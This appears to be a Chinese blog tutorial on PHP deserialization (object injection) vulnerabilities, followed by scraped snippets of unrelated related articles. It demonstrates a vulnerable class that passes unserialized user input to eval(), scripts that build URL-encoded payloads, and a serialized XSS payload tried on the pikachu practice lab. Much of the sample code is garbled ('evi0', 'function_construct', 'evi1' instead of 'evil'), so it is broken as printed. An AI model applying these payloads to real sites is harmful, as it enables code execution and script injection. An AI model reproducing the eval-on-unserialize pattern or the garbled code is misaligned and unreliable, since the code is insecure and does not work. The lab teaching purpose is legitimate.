PHP反序列化漏洞原理(附带pikachu靶场演示)

1.反序列化概念

  1. 序列化:是将变量转换为可保存或传输的字符串的过程;实现函数是serialize()
  2. 反序列化:就是在适当的时候把这个字符串再转化成原来的变量使用,就是序列化的逆过程。实现函数是unserialize()

直白一点就是:序列化是把对象转换成字节流,反序列化就是为了恢复到之前的状态,把字节流转换成对象的过程。

序列化数据格式

数据类型

序列化格式

解释

整数

i:42;

表示整数值为42

浮点数

d:3.14;

表示浮点数值为3.14

字符串

s:5:"hello";

表示字符串长度为5,内容为"hello"

空字符串

s:0:"";

表示一个空字符串

数组

a:3:{i:0;s:5:"apple";i:1;s:6:"banana";i:2;s:5:"cherry";}

表示包含3个元素的数组

关联数组(对象)

O:8:"stdClass":2:{s:4:"name";s:5:"Alice";s:3:"age";i:30;}

表示一个包含两个属性的对象

布尔值

b:1;b:0;

表示真(true)或假(false)

NULL

N;

表示空值

这个表格更详细地列出了各种数据类型在PHP中的序列化格式和相应的解释。

举个详细的例子:

输出结果:

O:8:"examlple":5:{s:6:"string";s:4:"test";s:17:" examlple integer";s:1:"1";s:7:" * null";s:4:"null";s:6:"double";s:3:"1.2";s:4:"bool";s:4:"True";}

反序列化漏洞

反序列化漏洞:也叫对象注入,就是当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。

可以理解为程序在执行unserialize()函数是,自动执行了某些魔术方法(magic method),而魔术方法的参数被用户所控制(通过控制属性来控制参数),这就会产生安全问题。

漏洞利用条件:

  1. unserialize()函数的参数可控。
  2. 存在可利用的魔术方法。

属性赋值

要利用反序列化漏洞,必须向unserialize()函数传入构造的序列化数据(定义合适的属性值)。那么,如

何构造序列化数据呢?

<?php
show_source( __FILE__);
error_reporting(0);
class DEMO{
public $func;
public $arg ;
public function safe(){
echo $this->arg;
}
public function evi0{
eval($this->arg);
}
public function run(){
$this->{$this->func}();
}
function_construct(){
$this->func ='evil';
}
}
$obj=unserialize($_GET['a']);
$obj->run();
?>

直接写序列化数据显示是不合适的,因为序列化数据不符合人类直观,很容易出错。实际上,都是利用serialize()函数来生成序列化数据的。

生成步骤:

  1. 把题目代码复制到本地;
  2. 注释掉与属性无关的内容(方法和没用的代码);
  3. 对属性赋值;
  4. 输出ur编码后的序列化数据:
  5. 将序列化数据发送到目标服务器。

进行URL编码的原因:

  1. 原始的序列化数据可能存在不可见字符;
  2. 如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行ur编码。

属性赋值的三种方法:

  1. 直接在属性中赋值:优点是方便,缺点是只能赋值字符串
<?phpClasS DEMO{
public $func='evi1';
public $arg='phpinfo();';
# public function safe(){
# echo $this->arg;
# }
# public function evil(){	
# eval($this->arg);
#}
# public function run(){
# $this->{$this->func}();
# }
#function_construct(){
# $this->func ='evil]':
# }
}
# $obj=unserialize($_GET['a']);
# $obj->run();
echo(urlencode(serialize(new DEMO())));
?>

2.外部赋值:优点是可以赋值任意类型的值,缺点是只能操作public属性。

<?php
Class DEMO{
public $func;
public $arg ;
}
$o = neW DEMO();
$o->func ='evil';
$o->arg ='phpinfo();';
echo(urlencode(serialize($o)));

3.构造方法赋值(万能方法):优点是解决了上述的全部缺点,缺点是有点麻烦

<?phpClass DEMO{
public $func;
public $arg ;
function_construct(){
$this->func ='evil';
$this->arg='phpinfo();';
}
}
$o = new DEMO();
echo(urlencode(serialize($o)));

魔术方法

魔术方法是一种特殊的方法,在某些情况下会自动调用。魔术方法的命名是以两个下划线开头的,常见

的魔术方法有:

漏洞利用

此处以pikachu为例

输入一个正常的序列化数据O:1:"S":1:{s:4:"test";s:7:"pikachu";}

输入构造好的xss

O:1:"S":1:{s:4:"test";s:30:"<script>alert('11')</script>";}

成功弹框

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/637957.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解析 IP(IPv4)地址

IPv 4 地址 一、组成二、IPv4 的分类三、子网掩码四、特殊的地址五、私有 IP 地址六、全局 IP 地址七、私有 IP 地址和全局 IP 地址的关系八、广播地址九、网络地址十、IP 地址个数计算十一、查看电脑的 IP 地址&#xff08;window&#xff09;十二、手动设置电脑的 IP 地址 为…

【C++初阶】vector使用特性 vector模拟实现

1.vector的介绍及其使用 1.1 vector的介绍 vector文档介绍 1. vector是表示可变大小数组的序列容器。 2. 就像数组一样&#xff0c;vector也采用的连续存储空间来存储元素。也就是意味着可以采用下标对vector的元素进行访问&#xff0c;和数组一样高效。但是又不像数组&#…

如何利用ChatGPT进行论文撰写?

原文链接&#xff1a;如何利用ChatGPT进行论文撰写&#xff1f;https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247601619&idx1&snb686fbe87dedfac2df3a6afe780b2ffe&chksmfa820c34cdf5852251dca64597024ea62ddbde280086535ec251f4b62b848d9f9234688384…

服务器Linux上杀死特定进程的命令:kill

1、查看用户XXX正在运行的进程 top -u xxx2、查看想要杀死的进程对应的PID 先找到此进程对应的命令 取其中的main-a3c.py即可 ps -aux | grep main-a3c.py可以看到对应的PID是1325390使用kill杀死对应PID的进程 kill -9 1325390成功&#xff0c;gpustat可以看到之前一直占…

restful请求风格的增删改查-----修改and删除

一、修改&#xff08;和添加类似&#xff09; 前端&#xff1a; <script type"text/javascript">function update(){//创建user对象var user {id:$("#id").val(),username:$("#username").val(),password:$("#password").val…

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第六套

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第六套 (共9套&#xff0c;有答案和解析&#xff0c;答案非官方&#xff0c;未仔细校正&#xff0c;仅供参考&#xff09; 部分题目分享&#xff0c;完整版获取&#xff08;WX:didadidadidida313&#xff0c;加我备注&#x…

CSS基础:position定位的5个类型详解!

你好&#xff0c;我是云桃桃。 一个希望帮助更多朋友快速入门 WEB 前端的程序媛。 云桃桃-大专生&#xff0c;一枚程序媛&#xff0c;感谢关注。回复 “前端基础题”&#xff0c;可免费获得前端基础 100 题汇总&#xff0c;回复 “前端工具”&#xff0c;可获取 Web 开发工具合…

C++设计模式:适配器模式(十四)

1、定义与动机 定义&#xff1a;将一个类的接口转换成客户希望的另外一个接口。Adapter模式使得原本由于接口不兼容而不能一起工作的哪些类可以一起工作。 动机&#xff1a; 在软件系统中&#xff0c;由于应用环境的变化&#xff0c;常常需要将“一些现存的对象”放在新的环境…

字节FE:JavaScript学习路线图

JavaScript简介 JavaScript是一种高级的、解释执行的编程语言。它是互联网的三大核心技术之一&#xff0c;与HTML和CSS一同工作&#xff0c;用于创建交互式的网页。JavaScript被所有现代网页浏览器支持而不需要任何插件。它可以增强用户界面和网页的交互性&#xff0c;可以进行…

接口压力测试 jmeter--增强篇(二)

前期准备 1. JMeter的插件的安装 下载Jmeter Plugins Manager对插件进行管理 &#xff08;1&#xff09;下载地址&#xff1a;https://jmeter-plugins.org/install/Install/ &#xff08;2&#xff09;下载后&#xff0c;将jar包放到jmeter包目录下/lib/ext目录下 &#xff0…

MATLAB中gurobi 运行报错与调试

问题背景如下&#xff1a;刚拿到一份MATLAB的代码&#xff0c;但是电脑第一次安装gurobi&#xff0c;在运行过程中发生了报错&#xff0c;使用断点进行调试和步进调试方法&#xff0c;最终发现&#xff0c;这个问题出在了哪一步&#xff0c;然后向了人工智能和CSDN、百度寻求答…

第一届 “帕鲁杯“ writeup

文章目录 MiscMisc-签到江FM 145.8ez_misc为什么我的新猫猫吃不饱 Crypto玛卡巴卡有什么坏心思呢 webWeb-签到 应急响应1.找到JumpServer堡垒机中flag标签的值。2.提交攻击者第一次登录时间。3.提交攻击者源IP。4.提交攻者使用的cve编号。5.提交攻击者留在Web服务器上的恶意程序…